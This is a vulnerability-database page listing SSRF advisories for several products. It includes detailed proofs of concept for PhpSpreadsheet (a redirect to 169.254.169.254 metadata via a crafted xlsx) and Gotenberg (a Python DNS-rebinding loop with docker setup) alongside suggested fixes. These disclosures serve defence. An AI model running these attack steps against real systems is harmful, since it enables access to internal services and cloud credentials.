Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6723 vulnerabilities reference this CWE, most recent first.

GHSA-2P95-QR38-WG9F

Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2024-04-04 00:45
VLAI
Details

OX Software GmbH OX App Suite 7.8.4 and earlier is affected by: SSRF.

Severity
9.9 (Critical)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-13667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-23T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "OX Software GmbH OX App Suite 7.8.4 and earlier is affected by: SSRF.",
  "id": "GHSA-2p95-qr38-wg9f",
  "modified": "2024-04-04T00:45:35Z",
  "published": "2022-05-24T16:46:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-13667"
    },
    {
      "type": "WEB",
      "url": "https://documentation.open-xchange.com/7.8.3/release-notes/release-notes.html"
    },
    {
      "type": "WEB",
      "url": "http://ox.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PHH-27FW-Q4GC

Vulnerability from github – Published: 2026-10-27 15:38 – Updated: 2026-10-27 15:38
VLAI
Summary
PhpSpreadsheet: SSRF whitelist bypass via unre-validated HTTP redirect in Drawing::setPath external image loading
Details

Summary

PhpSpreadsheet's Worksheet\Drawing::setPath() validates an external-image URL against an operator-supplied isWhitelisted callback once, on the initial URL only, then fetches it with file_get_contents() using a stream context that does not set follow_location => 0. A whitelisted host that returns an HTTP 302 Location: redirect to an internal target is therefore followed by PHP's HTTP wrapper (default follow_location=1, max_redirects=20) with no re-validation of the redirect hop — defeating the whitelist and yielding a blind SSRF from the server.

This is an unfixed variant of CVE-2026-59931 (GHSA-6hq5-7373-42rg, the WEBSERVICE redirect-whitelist-bypass): the follow_location => 0 fix (commit 7ef7b25e) was applied ONLY to Calculation/Web/Service.php; Worksheet/Drawing.php was never touched.

Root Cause

src/PhpSpreadsheet/Worksheet/Drawing.php: - Scheme allowlist at :125 (/^(http|https|file|ftp|s3):/) permits http/https (the redirect-following schemes) and runs on the initial URL only. - Opt-in gate if (!$allowExternal) at :128 (requires setAllowExternalImages(true); default false, BaseReader.php:55). - Whitelist check if ($isWhitelisted !== null && !$isWhitelisted($path)) at :131 — validates the INITIAL URL only; never re-applied after a redirect. - Stream context built at :140-152 sets user_agent + header (+ ssl.crypto_method for https) but omits follow_location. git grep follow_location on tag 5.9.0 yields a single hit — Service.php:45 (the CVE-2026-59931 fix) — confirming it was never added to Drawing.php. - Sink file_get_contents($path, false, $ctx) at :154.

Impact

Blind SSRF from the server: reach and trigger internal GET-driven endpoints, coarse internal reachability/port probing, and reach cloud-metadata endpoints. The fetched body is written to a temp file, checked with isImage() (mime image/*, or application/octet-stream with bin/emf extension), only image dimensions are stored, and the temp file is unlinked — so the response body is not exfiltrated (non-image responses fail isImage()). This is a blind GET primitive, not full response read.

Proof of Concept

  1. Attacker server https://trusted-whitelisted.example/redir.png returns 302 Location: http://169.254.169.254/latest/meta-data/.
  2. evil.xlsx with xl/drawings/_rels/drawing1.xml.rels: <Relationship ... Type=".../image" Target="https://trusted-whitelisted.example/redir.png" TargetMode="External"/>.
  3. Victim: $r = new Xlsx(); $r->setAllowExternalImages(true)->setIsWhitelisted(fn($p)=>str_contains($p,'trusted-whitelisted.example')); $r->load('evil.xlsx'); -> the server-side GET is forced to the internal target despite the whitelist. HTML-reader variant: <img src="https://trusted-whitelisted.example/redir.png"> loaded via Reader\Html (Html.php:1237) with the same reader settings.

Attack Chain

  1. Entry: crafted evil.xlsx, xl/drawings/_rels/*.rels TargetMode="External", Target="https://trusted.example/redir.png" (whitelisted host). Guard: none (legal external-image relationship). Bypass proof: Target stored verbatim -> $url at Reader/Xlsx.php:1544.
  2. Config: victim loads with setAllowExternalImages(true)->setIsWhitelisted($cb) where $cb allows trusted.example. Guard: Drawing.php:128 opt-in (satisfied) + :131 whitelist. Bypass proof: initial URL is whitelisted -> returns true; check runs once on $path.
  3. Fetch/redirect: file_get_contents (:154) GETs the URL; whitelisted host returns 302 Location: http://169.254.169.254/.... Guard: stream context (:140-152). Bypass proof: no follow_location key -> PHP follows the redirect (default follow_location=1, max_redirects=20) with no re-validation.
  4. Impact: server issues a blind GET to the internal target (body temp-filed, isImage()-checked, dimensions stored, temp file unlinked — body not exfiltrated).

Bypass Evidence

  • git grep follow_location 5.9.0 -- src/ -> single hit at Service.php:45; Drawing.php has none.
  • CVE-2026-59931's own regression harness (ServerTest.php + redirect.php: a whitelisted host 302-redirects to direct.php; only after follow_location => 0 does the fetch stop following it) demonstrates the exact behavior. That fix is present in Service.php and absent in Drawing.php.
  • git grep isWhitelisted 5.9.0 -- src/ confirms the callback is applied only at Drawing.php:131 (initial $path), never after the redirect.

Affected Versions

>= 5.5.0, <= 5.9.0. The isWhitelisted control being bypassed was introduced in 5.5.0 (commit 50a7552f); present and unfixed on the latest release (5.9.0) and on HEAD (05e99ebf). No post-release fix to Drawing.php.

Suggested Fix

Add 'follow_location' => 0 (and/or 'max_redirects' => 0) to $ctxArray['http'] in Drawing::setPath() (:140-148), mirroring the CVE-2026-59931 fix at Service.php:45; alternatively follow redirects manually and re-run $isWhitelisted on each hop.

Reported by zx (Jace) — GitHub: @manus-use

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.9.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.7"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.7"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.18"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-108360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T15:38:39Z",
    "nvd_published_at": "2026-10-22T18:17:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nPhpSpreadsheet\u0027s `Worksheet\\Drawing::setPath()` validates an external-image URL against an operator-supplied `isWhitelisted` callback **once**, on the initial URL only, then fetches it with `file_get_contents()` using a stream context that does **not** set `follow_location =\u003e 0`. A whitelisted host that returns an HTTP `302 Location:` redirect to an internal target is therefore followed by PHP\u0027s HTTP wrapper (default `follow_location=1`, `max_redirects=20`) with **no re-validation of the redirect hop** \u2014 defeating the whitelist and yielding a blind SSRF from the server.\n\nThis is an unfixed variant of CVE-2026-59931 (GHSA-6hq5-7373-42rg, the WEBSERVICE redirect-whitelist-bypass): the `follow_location =\u003e 0` fix (commit `7ef7b25e`) was applied ONLY to `Calculation/Web/Service.php`; `Worksheet/Drawing.php` was never touched.\n\n## Root Cause\n`src/PhpSpreadsheet/Worksheet/Drawing.php`:\n- Scheme allowlist at `:125` (`/^(http|https|file|ftp|s3):/`) permits `http`/`https` (the redirect-following schemes) and runs on the initial URL only.\n- Opt-in gate `if (!$allowExternal)` at `:128` (requires `setAllowExternalImages(true)`; default `false`, `BaseReader.php:55`).\n- Whitelist check `if ($isWhitelisted !== null \u0026\u0026 !$isWhitelisted($path))` at `:131` \u2014 validates the INITIAL URL only; never re-applied after a redirect.\n- Stream context built at `:140-152` sets `user_agent` + `header` (+ `ssl.crypto_method` for https) but **omits `follow_location`**. `git grep follow_location` on tag 5.9.0 yields a single hit \u2014 `Service.php:45` (the CVE-2026-59931 fix) \u2014 confirming it was never added to `Drawing.php`.\n- Sink `file_get_contents($path, false, $ctx)` at `:154`.\n\n## Impact\nBlind SSRF from the server: reach and trigger internal GET-driven endpoints, coarse internal reachability/port probing, and reach cloud-metadata endpoints. The fetched body is written to a temp file, checked with `isImage()` (mime `image/*`, or `application/octet-stream` with `bin`/`emf` extension), only image dimensions are stored, and the temp file is `unlink`ed \u2014 so the response body is **not** exfiltrated (non-image responses fail `isImage()`). This is a blind GET primitive, not full response read.\n\n## Proof of Concept\n1. Attacker server `https://trusted-whitelisted.example/redir.png` returns `302 Location: http://169.254.169.254/latest/meta-data/`.\n2. `evil.xlsx` with `xl/drawings/_rels/drawing1.xml.rels`: `\u003cRelationship ... Type=\".../image\" Target=\"https://trusted-whitelisted.example/redir.png\" TargetMode=\"External\"/\u003e`.\n3. Victim: `$r = new Xlsx(); $r-\u003esetAllowExternalImages(true)-\u003esetIsWhitelisted(fn($p)=\u003estr_contains($p,\u0027trusted-whitelisted.example\u0027)); $r-\u003eload(\u0027evil.xlsx\u0027);` -\u003e the server-side GET is forced to the internal target despite the whitelist.\nHTML-reader variant: `\u003cimg src=\"https://trusted-whitelisted.example/redir.png\"\u003e` loaded via `Reader\\Html` (`Html.php:1237`) with the same reader settings.\n\n## Attack Chain\n1. Entry: crafted `evil.xlsx`, `xl/drawings/_rels/*.rels` `TargetMode=\"External\"`, `Target=\"https://trusted.example/redir.png\"` (whitelisted host). Guard: none (legal external-image relationship). Bypass proof: Target stored verbatim -\u003e `$url` at `Reader/Xlsx.php:1544`.\n2. Config: victim loads with `setAllowExternalImages(true)-\u003esetIsWhitelisted($cb)` where `$cb` allows `trusted.example`. Guard: `Drawing.php:128` opt-in (satisfied) + `:131` whitelist. Bypass proof: initial URL is whitelisted -\u003e returns true; check runs once on `$path`.\n3. Fetch/redirect: `file_get_contents` (`:154`) GETs the URL; whitelisted host returns `302 Location: http://169.254.169.254/...`. Guard: stream context (`:140-152`). Bypass proof: no `follow_location` key -\u003e PHP follows the redirect (default `follow_location=1`, `max_redirects=20`) with no re-validation.\n4. Impact: server issues a blind GET to the internal target (body temp-filed, `isImage()`-checked, dimensions stored, temp file unlinked \u2014 body not exfiltrated).\n\n## Bypass Evidence\n- `git grep follow_location 5.9.0 -- src/` -\u003e single hit at `Service.php:45`; `Drawing.php` has none.\n- CVE-2026-59931\u0027s own regression harness (`ServerTest.php` + `redirect.php`: a whitelisted host 302-redirects to `direct.php`; only after `follow_location =\u003e 0` does the fetch stop following it) demonstrates the exact behavior. That fix is present in `Service.php` and absent in `Drawing.php`.\n- `git grep isWhitelisted 5.9.0 -- src/` confirms the callback is applied only at `Drawing.php:131` (initial `$path`), never after the redirect.\n\n## Affected Versions\n`\u003e= 5.5.0, \u003c= 5.9.0`. The `isWhitelisted` control being bypassed was introduced in 5.5.0 (commit `50a7552f`); present and unfixed on the latest release (5.9.0) and on HEAD (`05e99ebf`). No post-release fix to `Drawing.php`.\n\n## Suggested Fix\nAdd `\u0027follow_location\u0027 =\u003e 0` (and/or `\u0027max_redirects\u0027 =\u003e 0`) to `$ctxArray[\u0027http\u0027]` in `Drawing::setPath()` (`:140-148`), mirroring the CVE-2026-59931 fix at `Service.php:45`; alternatively follow redirects manually and re-run `$isWhitelisted` on each hop.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @manus-use",
  "id": "GHSA-2phh-27fw-q4gc",
  "modified": "2026-10-27T15:38:39Z",
  "published": "2026-10-27T15:38:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-2phh-27fw-q4gc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108360"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/299993894dce37aa3b64aa23e9a3f4bb77ab0e66"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/94590951d76a250a5fc1ecf69a0b3f7439a9af49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/9a0b48622ebfe93fa48cb9bc09ce57303bb07af9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/da13f40e8760d599b0e8a296017d4b028b20e86c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.19"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PhpSpreadsheet: SSRF whitelist bypass via unre-validated HTTP redirect in Drawing::setPath external image loading"
}

GHSA-2PJM-HWX3-G287

Vulnerability from github – Published: 2024-04-24 09:30 – Updated: 2026-04-28 21:34
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Pavex Embed Google Photos album.This issue affects Embed Google Photos album: from n/a through 2.1.9.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-32775"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T08:15:39Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Pavex Embed Google Photos album.This issue affects Embed Google Photos album: from n/a through 2.1.9.",
  "id": "GHSA-2pjm-hwx3-g287",
  "modified": "2026-04-28T21:34:52Z",
  "published": "2024-04-24T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32775"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/embed-google-photos-album-easily/wordpress-embed-google-photos-album-plugin-2-1-9-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PMG-8J9G-3C72

Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31
VLAI
Details

IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is affected by a server-side request forgery vulnerability with the apiDiscovery-1.0 feature enabled.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-11714"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T20:17:28Z",
    "severity": "HIGH"
  },
  "details": "IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is affected by a server-side request forgery vulnerability with the apiDiscovery-1.0 feature enabled.",
  "id": "GHSA-2pmg-8j9g-3c72",
  "modified": "2026-06-30T21:31:44Z",
  "published": "2026-06-30T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11714"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7278580"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PMR-289P-44R3

Vulnerability from github – Published: 2026-05-07 00:57 – Updated: 2026-06-08 20:10
VLAI
Summary
Gotenberg's DNS rebinding bypasses SSRF validation on Chromium URL conversion routes
Details

Summary

FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF.

Details

pkg/gotenberg/outbound.go:227-230 drops the pinned IPs from the outbound decision:

func FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {
    _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)
    return err
}

The Chromium convert path at pkg/modules/chromium/browser.go:341 calls FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline) and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver.

The CDP Fetch.requestPaused listener at pkg/modules/chromium/events.go:55 runs a second check:

err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)

This also calls decideOutbound, which again resolves DNS, checks, and returns only the error. After the handler calls fetch.ContinueRequest at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.

The webhook and downloadFrom paths avoid this class by using gotenberg.NewOutboundHttpClient at pkg/gotenberg/outbound.go:269-280, which wires a secureDialContext that pins resolved IPs through dialPinned. The Chromium navigation path has no equivalent. The --chromium-host-resolver-rules flag at pkg/modules/chromium/chromium.go:446 defaults to empty, so no operator-provided mapping closes the gap in default deployments.

Proof of Concept

Reproduction uses a public DNS service that randomizes the response per query. rebind.<subdomain>.requestrepo.com resolves to <public-ip> or 127.0.0.1 with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return <public-ip>%127.0.0.1.

Setup:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

# Simulate an internal-only HTTP service that the default deny-list blocks.
docker exec gotenberg-poc sh -c \
    'mkdir -p /tmp/rebind_srv && \
     echo "<h1>INTERNAL-ONLY-REBIND-HIT</h1>" > /tmp/rebind_srv/index.html'
docker exec -d gotenberg-poc sh -c \
    'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1'

Alice runs the attack without auth:

import requests, subprocess
T = "http://localhost:3000"
REBIND = "http://rebind.<subdomain>.requestrepo.com/"
MARKER = "INTERNAL-ONLY-REBIND-HIT"

hits = 0
for i in range(20):
    r = requests.post(
        f"{T}/forms/chromium/convert/url",
        files={"url": (None, REBIND)},
        timeout=30,
    )
    if r.status_code != 200:
        continue
    open("/tmp/_r.pdf", "wb").write(r.content)
    txt = subprocess.run(
        ["pdftotext", "/tmp/_r.pdf", "-"],
        capture_output=True, text=True,
    ).stdout
    if MARKER in txt:
        hits += 1

print(f"{hits}/20 rebind hits")

Observed output against gotenberg 8.31.0:

2/20 rebind hits

The marker renders in the attacker's PDF output. 127.0.0.1:80 serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.

Impact

An unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at 169.254.169.254, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.

Recommended Fix

Pin the resolved IP from Gotenberg's decideOutbound check all the way to Chromium's connect. Export the existing decideOutbound function as DecideOutbound, then use the returned pinned IP to rewrite the Chromium navigation URL inside the Fetch.requestPaused handler via fetch.ContinueRequest. Set the Host header to the original hostname so TLS and virtual-host routing still work:

decision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
if err != nil {
    allow = false
} else if len(decision.Pinned) > 0 {
    pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())
    req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)
}

Alternative: pass --host-resolver-rules="MAP <hostname> <pinned-ip>" to Chromium when starting the per-request session, derived from the FilterOutboundURL resolution. This is the same mechanism the --chromium-host-resolver-rules flag already exposes to operators, just applied automatically per request.

Found by aisafe.io

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "8.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:57:37Z",
    "nvd_published_at": "2026-05-14T16:16:22Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`FilterOutboundURL` resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP `Fetch.requestPaused` handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium\u0027s actual TCP connect. The rendered internal service response returns to the caller as a PDF.\n\n## Details\n\n`pkg/gotenberg/outbound.go:227-230` drops the pinned IPs from the outbound decision:\n\n```go\nfunc FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {\n    _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)\n    return err\n}\n```\n\nThe Chromium convert path at `pkg/modules/chromium/browser.go:341` calls `FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline)` and, on success, hands the raw URL string to Chromium via CDP. Chromium\u0027s network stack issues its own DNS lookup for the hostname, independent of Go\u0027s resolver.\n\nThe CDP `Fetch.requestPaused` listener at `pkg/modules/chromium/events.go:55` runs a second check:\n\n```go\nerr := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\n```\n\nThis also calls `decideOutbound`, which again resolves DNS, checks, and returns only the error. After the handler calls `fetch.ContinueRequest` at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.\n\nThe webhook and downloadFrom paths avoid this class by using `gotenberg.NewOutboundHttpClient` at `pkg/gotenberg/outbound.go:269-280`, which wires a `secureDialContext` that pins resolved IPs through `dialPinned`. The Chromium navigation path has no equivalent. The `--chromium-host-resolver-rules` flag at `pkg/modules/chromium/chromium.go:446` defaults to empty, so no operator-provided mapping closes the gap in default deployments.\n\n## Proof of Concept\n\nReproduction uses a public DNS service that randomizes the response per query. `rebind.\u003csubdomain\u003e.requestrepo.com` resolves to `\u003cpublic-ip\u003e` or `127.0.0.1` with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return `\u003cpublic-ip\u003e%127.0.0.1`.\n\nSetup:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n\n# Simulate an internal-only HTTP service that the default deny-list blocks.\ndocker exec gotenberg-poc sh -c \\\n    \u0027mkdir -p /tmp/rebind_srv \u0026\u0026 \\\n     echo \"\u003ch1\u003eINTERNAL-ONLY-REBIND-HIT\u003c/h1\u003e\" \u003e /tmp/rebind_srv/index.html\u0027\ndocker exec -d gotenberg-poc sh -c \\\n    \u0027cd /tmp/rebind_srv \u0026\u0026 python3 -m http.server 80 --bind 127.0.0.1\u0027\n```\n\nAlice runs the attack without auth:\n\n```python\nimport requests, subprocess\nT = \"http://localhost:3000\"\nREBIND = \"http://rebind.\u003csubdomain\u003e.requestrepo.com/\"\nMARKER = \"INTERNAL-ONLY-REBIND-HIT\"\n\nhits = 0\nfor i in range(20):\n    r = requests.post(\n        f\"{T}/forms/chromium/convert/url\",\n        files={\"url\": (None, REBIND)},\n        timeout=30,\n    )\n    if r.status_code != 200:\n        continue\n    open(\"/tmp/_r.pdf\", \"wb\").write(r.content)\n    txt = subprocess.run(\n        [\"pdftotext\", \"/tmp/_r.pdf\", \"-\"],\n        capture_output=True, text=True,\n    ).stdout\n    if MARKER in txt:\n        hits += 1\n\nprint(f\"{hits}/20 rebind hits\")\n```\n\nObserved output against gotenberg 8.31.0:\n\n```\n2/20 rebind hits\n```\n\nThe marker renders in the attacker\u0027s PDF output. `127.0.0.1:80` serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.\n\n## Impact\n\nAn unauthenticated caller reaches HTTP services bound to the Gotenberg container\u0027s loopback interface, cloud metadata endpoints at `169.254.169.254`, and services on other private-network addresses. Gotenberg\u0027s deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker\u0027s normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.\n\n## Recommended Fix\n\nPin the resolved IP from Gotenberg\u0027s `decideOutbound` check all the way to Chromium\u0027s connect. Export the existing `decideOutbound` function as `DecideOutbound`, then use the returned pinned IP to rewrite the Chromium navigation URL inside the `Fetch.requestPaused` handler via `fetch.ContinueRequest`. Set the `Host` header to the original hostname so TLS and virtual-host routing still work:\n\n```go\ndecision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\nif err != nil {\n    allow = false\n} else if len(decision.Pinned) \u003e 0 {\n    pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())\n    req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)\n}\n```\n\nAlternative: pass `--host-resolver-rules=\"MAP \u003chostname\u003e \u003cpinned-ip\u003e\"` to Chromium when starting the per-request session, derived from the `FilterOutboundURL` resolution. This is the same mechanism the `--chromium-host-resolver-rules` flag already exposes to operators, just applied automatically per request.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-2pmr-289p-44r3",
  "modified": "2026-06-08T20:10:54Z",
  "published": "2026-05-07T00:57:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42592"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg\u0027s DNS rebinding bypasses SSRF validation on Chromium URL conversion routes"
}

GHSA-2PMV-2QCC-JCGQ

Vulnerability from github – Published: 2026-09-04 18:31 – Updated: 2026-09-04 18:31
VLAI
Details

IBM ContextForge MCP Gateway could allow a remote authenticated attacker to obtain sensitive information due to server-side request forgery via DNS rebinding.

Severity
8.2 (High)
